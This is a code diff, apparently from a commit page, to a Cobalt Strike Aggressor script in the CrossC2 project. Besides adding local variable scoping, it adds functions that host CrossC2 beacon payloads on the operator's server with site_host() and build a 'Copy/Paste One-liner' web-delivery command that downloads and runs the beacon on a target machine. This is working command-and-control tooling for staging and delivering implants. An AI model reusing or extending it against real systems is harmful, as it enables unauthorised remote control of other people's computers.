@@ -41,6 +41,7 @@ popup ssh {
4141
4242sub random_string {
4343 # <3 @offsec_ginger
44+ local('$limit @random_str $characters');
4445 $limit = $1;
4546 @random_str = @();
4647 $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
@@ -52,6 +53,7 @@ sub random_string {
5253}
5354
5455sub getSystemInfo {
56+ local('$process $sys_data');
5557 $process = exec("/usr/bin/uname");
5658 $sys_data = readAll($process);
5759 closef($process);
@@ -63,6 +65,7 @@ sub getSystemInfo {
6365}
6466
6567sub checkSpace {
68+ local('$realPath');
6669 $realPath = "";
6770 if ($1 eq "null") {
6871 $realPath = $1;
@@ -167,6 +170,7 @@ sub createCrossC2ListenerDialogCallBack {
167170}
168171
169172sub createCrossC2Listener {
173+ local('$reverse_https_flag');
170174 $reverse_https_flag = $1;
171175 $dialog = dialog("CrossC2 Listener", %(lport => "55413", beaconKey => "./.cobaltstrike.beacon_keys", rebind_lib => "null", listener => "Listener: ", system => "System: ", arch => "Arch: ", payload_type => "Payload_Type: ", outputFileName => "/tmp/CrossC2-test", enableSSL => false, bindPort => "4444"), &createCrossC2ListenerDialogCallBack);
172176 dialog_description($dialog, "<style type=\"text/css\">.word{width: 100px;height: 30px;background: #E5E5E5;text-align: center;line-height: 30px;font-size: 14px;}</style><div class=\"word\">Export CrossC2 Payload<br><a href=\"https://github.com/gloxec/CrossC2\">https://github.com/gloxec/CrossC2</a></div>");
@@ -209,6 +213,7 @@ sub projectAbout {
209213
210214sub genDownloadPayload {
211215 # "python", "ruby", "pip", "php", "ksh"
216+ local('$type $payloadContentURL $downloadURL');
212217 $type = $1;
213218 $payloadContentURL = $2;
214219 $downloadURL = "";
@@ -233,6 +238,7 @@ sub genDownloadPayload {
233238}
234239
235240sub genDownloadPayloadContent {
241+ local('$type $beaconUrl $payload $processName $targetSaveDir $targetSaveName $targetSavePath $type $payload');
236242 $type = $1;
237243 $beaconUrl = $2;
238244 $payload = "";
@@ -284,7 +290,59 @@ sub genDownloadPayloadContent {
284290 return $payload;
285291}
286292
293+ sub checkCrossC2BeaconSite {
294+ local('$beacon_site_name $beaconURLMap $matchFlag');
295+ $beacon_site_name = $1;
296+ $matchFlag = "";
297+ %beaconURLMap = getCrossC2Site();
298+ foreach $key => $value (%beaconURLMap) {
299+ if ($beacon_site_name isin $value) {
300+ $matchFlag = $value[1];
301+ }
302+ }
303+ return $matchFlag;
304+ }
305+
306+ sub getCrossC2BeaconSiteURL {
307+ local('$listener_name $beacon_site_name $listener $listener_padding $system_arch_padding $listener_name $system $arch');
308+ $listener_name = $1;
309+ $beacon_site_name = "";
310+ $listener = $null;
311+ if ("CrossC2 reverse HTTPS" isin $listener_name) {
312+ $beacon_site_name = "CrossC2 beacon: reverse-https";
313+ ($_, $listener_padding, $system_arch_padding) = split('\{ ', $listener_name);
314+ ($listener, $_) = split(' \}', $listener_padding);
315+ ($system, $arch, $_) = split(' ', $system_arch_padding);
316+ } else {
317+ $beacon_site_name = "CrossC2 beacon: bind-tcp";
318+ ($_, $_, $_, $_, $system, $arch) = split(' ', $listener_name);
319+ }
320+ $beacon_site_name = $beacon_site_name.' '.$system.' '.$arch;
321+ if ($listener) {
322+ $beacon_site_name = $beacon_site_name.' { '.$listener.' }'
323+ }
324+ return $beacon_site_name;
325+ }
326+
327+ sub createCrossC2BeaconSite {
328+ local('$listener $beacon_site_name $lhost $lport $enableSSL $beaconData $targetSaveName $beaconUrl');
329+ $listener = $1;
330+ $beacon_site_name = $2;
331+ $lhost = $3;
332+ $lport = $4;
333+ $enableSSL = $5;
334+ $beaconData = listener_info($listener)['CrossC2Beacon'];
335+ $targetSaveName = random_string(10);
336+ if ($enableSSL eq 'true') {
337+ $beaconUrl = site_host($lhost, $lport, "/".$targetSaveName, $beaconData, "automatic", $beacon_site_name.'[https]', true);
338+ } else {
339+ $beaconUrl = site_host($lhost, $lport, "/".$targetSaveName, $beaconData, "automatic", $beacon_site_name.'[http]', false);
340+ }
341+ return $beaconUrl;
342+ }
343+
287344sub genCrossC2ScriptDialogCallback {
345+ local('$uri $lhost $lport $type $enableSSL $processName $listener $needCheckBeaconSiteName $payloadContent $payloadContentURL $scriptUrl');
288346 $uri = $3['uri'];
289347 $lhost = $3['lhost'];
290348 $lport = $3['lport'];
@@ -293,10 +351,12 @@ sub genCrossC2ScriptDialogCallback {
293351 $enableSSL = $3['enableSSL'];
294352 $processName = $3['processname'];
295353 $listener = $3['listener'];
296- $listenerinfo = split(' -> ', $listener);
297- $beaconUrl = $listenerinfo[1];
298-
299- elog("select beacon listener url = $beaconUrl");
354+ $needCheckBeaconSiteName = getCrossC2BeaconSiteURL($listener);
355+ $beaconUrl = checkCrossC2BeaconSite($needCheckBeaconSiteName);
356+ if ($beaconUrl eq "") {
357+ $beaconUrl = createCrossC2BeaconSite($listener, $needCheckBeaconSiteName, $lhost, $lport, $enableSSL);
358+ }
359+ $listenerinfo = @($needCheckBeaconSiteName, $beaconUrl);
300360
301361 # gen payloadContent
302362 $payloadContent = genDownloadPayloadContent($type, $beaconUrl, $processName);
@@ -311,13 +371,14 @@ sub genCrossC2ScriptDialogCallback {
311371 $scriptUrl = genDownloadPayload($type, $payloadContentURL);
312372 # add_to_clipboard($scriptUrl);
313373 prompt_text("Copy/Paste One-liner: ", $scriptUrl, {});
314- elog("CrossC2 script: " . $scriptUrl);
374+ elog("");
375+ elog("CrossC2 $type script: " . $scriptUrl);
315376}
316377
317378sub getCrossC2Site {
379+ local('%beacon_site $beacon_count $Description, $Proto, $Host, $Port, $URI');
318380 %beacon_site = %();
319381 $beacon_count = 0;
320- local('$Description, $Proto, $Host, $Port, $URI');
321382 foreach $site_list(sites()) {
322383 ($Description, $Proto, $Host, $Port, $URI) = values($site_list, @('Description', 'Proto', 'Host', 'Port', 'URI'));
323384 if ("CrossC2" isin $Description) {
@@ -330,14 +391,30 @@ sub getCrossC2Site {
330391 return %beacon_site;
331392}
332393
394+ sub getCrossC2Listener {
395+ local('%beacon_listener $beacon_count');
396+ %beacon_listener = %();
397+ $beacon_count = 0;
398+ foreach $listener(listeners_local()) {
399+ if ("CrossC2" isin $listener) {
400+ %beacon_listener[$beacon_count] = @($listener);
401+ $beacon_count += 1;
402+ }
403+ }
404+ return %beacon_listener;
405+ }
406+
333407sub createCrossC2Script {
334- %beaconURLMap = getCrossC2Site();
408+ local('@beaconSiteMenu @beaconListenerMenu %beaconListenerMap');
409+ @beaconSiteMenu = @();
335410 @beaconListenerMenu = @();
336- foreach $key => $value (%beaconURLMap) {
337- add(@beaconListenerMenu, $value[0].' -> '.$value[1]);
411+
412+ %beaconListenerMap = getCrossC2Listener();
413+ foreach $key => $value (%beaconListenerMap) {
414+ add(@beaconListenerMenu, $value[0]);
338415 }
339416
340- $dialog = dialog("CrossC2 Web Delivery", %(uri => "/a", processname => "update", lhost => '0.0.0.0' , lport => "55413", type => "curl", listener => "", enableSSL => false), &genCrossC2ScriptDialogCallback);
417+ $dialog = dialog("CrossC2 Web Delivery", %(uri => "/a", processname => "update", lhost => localip() , lport => "55413", type => "curl", listener => "", enableSSL => false), &genCrossC2ScriptDialogCallback);
341418 dialog_description($dialog, "<style type=\"text/css\">.word{width: 100px;height: 30px;background: #E5E5E5;text-align: center;line-height: 30px;font-size: 14px;}</style><div class=\"word\">Export CrossC2 Payload<br><a href=\"https://github.com/gloxec/CrossC2\">https://github.com/gloxec/CrossC2</a></div>");
342419 drow_text($dialog, "uri", "URI Path: ", 20);
343420 drow_text($dialog, "processname", "ProcessName: ", 20);
0 commit comments